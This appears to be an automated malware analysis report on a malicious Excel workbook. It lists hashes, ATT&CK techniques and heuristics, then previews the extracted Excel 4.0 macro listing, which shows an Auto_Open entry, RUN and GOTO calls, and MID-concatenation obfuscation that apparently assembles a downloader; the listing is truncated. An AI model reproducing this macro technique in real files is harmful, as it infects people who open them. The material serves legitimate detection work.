Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 311c5e08fc74d6e7…

MALICIOUS

Office (OLE)

178.0 KB Created: 2020-06-08 08:58:47 Authoring application: Microsoft Excel First seen: 2020-08-25
MD5: 34adf8c5aa848d0118c90dfa7eb416df SHA-1: 565d0ce9e59c6fd638e38ab7bd79e89996a58a89 SHA-256: 311c5e08fc74d6e7c7a21d0fc4a7379becbc0d2c310703ac7a0f4452023caeaa
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing Excel 4.0 macros, specifically an Auto_Open macro. This macro is configured to execute dangerous formula APIs, including RUN, indicating it is designed to launch external processes. The presence of the Auto_Open function and the use of RUN strongly suggest the macro's purpose is to download and execute a secondary payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 54580 bytes
SHA-256: 96ef853b7ea0bfe6e06aef0b274488dd2cc2db8880205cb119a2f09c6d9229f1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     26 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  sSkbbT0CHbe11TAcX
' 0018     33 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!HY44305 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  sSkbbT0CHbe11TAcX,EX374,RUN(DK48931),""
'  sSkbbT0CHbe11TAcX,DE563,"FORMULA(MID(DK10150,4,1)&MID(EP15036,9,1)&MID(CN46966,5,1)&MID(DE43212,16,1)&MID(EP15036,8,1)&MID(BH27770,15,1)&MID(DK10150,2,1)&MID(EP15036,15,1)&MID(CN46966,13,1)&MID(DE43212,7,1)&MID(EP15036,6,1)&MID(BH27770,9,1)&MID(DK10150,9,1)&MID(EP15036,6,1)&MID(EP15036,7,1)&MID(BH27770,2,1)&MID(CN46966,13,1)&MID(EP15036,6,1)&MID(DE43212,14,1)&MID(DK10150,11,1)&MID(EP15036,7,1)&MID(DK10150,10,1),DU14812)",""
'  sSkbbT0CHbe11TAcX,DE564,GOTO(HK39650),""
'  sSkbbT0CHbe11TAcX,DA936,"FORMULA(MID(DK10150,4,1)&MID(BH27770,2,1)&MID(DE43212,13,1)&MID(DE43212,16,1)&MID(DE43212,16,1)&MID(DK10150,2,1)&MID(DK10150,7,1)&MID(DE43212,2,1)&MID(EP15036,5,1)&MID(DK10150,12,1)&MID(BH27770,8,1)&MID(DE43212,9,1)&MID(CN46966,15,1)&MID(DK10150,7,1)&MID(CN46966,6,1)&MID(DK10150,7,1)&MID(BH27770,14,1)&MID(EP15036,15,1)&MID(DE43212,16,1)&MID(EP15036,2,1)&MID(DE43212,9,1)&MID(EP15036,1,1)&MID(CN46966,15,1)&MID(DK10150,12,1)&MID(DE43212,9,1)&MID(DE43212,6,1)&MID(CN46966,14,1)&MID(EP15036,11,1)&MID(DE43212,9,1)&MID(EP15036,9,1)&MID(CN46966,10,1)&MID(DK10150,12,1)&MID(CN46966,3,1)&MID(DE43212,13,1)&MID(DK10150,7,1)&MID(CN46966,6,1)&MID(DK10150,7,1)&MID(DE43212,15,1)&MID(DE43212,15,1)&MID(BH27770,2,1)&MID(BH27770,2,1)&MID(DE43212,15,1)&MID(DE43212,15,1)&MID(DK10150,7,1)&MID(CN46966,6,1)&MID(DK10150,13,1)&MID(CN46966,6,1)&MID(EP15036,15,1)&MID(CN46966,13,1)&MID(EP15036,6,1)&MID(BH27770,9,1)&MID(DK10150,9,1)&MID(BH27770,12,1)&MID(DE43212,14,1)&MID(EP15036,7,1)&MID(BH27770,2,1)&MID(CN46966,13,1)&MID(DK10150,11,1)&MID(DE43212,14,1)&MID(EP15036,7,1)&MID(CN46966,6,1)&MID(EP15036,15,1)&MID(CN46966,13,1)&MID(DE43212,7,1)&MID(EP15036,6,1)&MID(DK10150,9,1)&MID(BH27770,12,1)&MID(DK10150,13,1)&MID(EP15036,7,1)&MID(BH27770,2,1)&MID(CN46966,13,1)&MID(BH27770,9,1)&MID(DE43212,14,1)&MID(EP15036,7,1)&MID(CN46966,6,1)&MID(DK10150,13,1)&MID(CN46966,6,1)&MID(DK10150,13,1)&MID(DK10150,10,1),IH15131)",""
'  sSkbbT0CHbe11TAcX,DA937,GOTO(DE563),""
'  sSkbbT0CHbe11TAcX,BN1044,"FORMULA(MID(CL3948,5,1)&MID(JQ24403,4,1)&MID(FU44927,7,1)&MID(CL3948,9,1)&MID(FU44927,15,1)&MID(FU44927,6,1)&MID(FU44927,4,1)&M
... (truncated)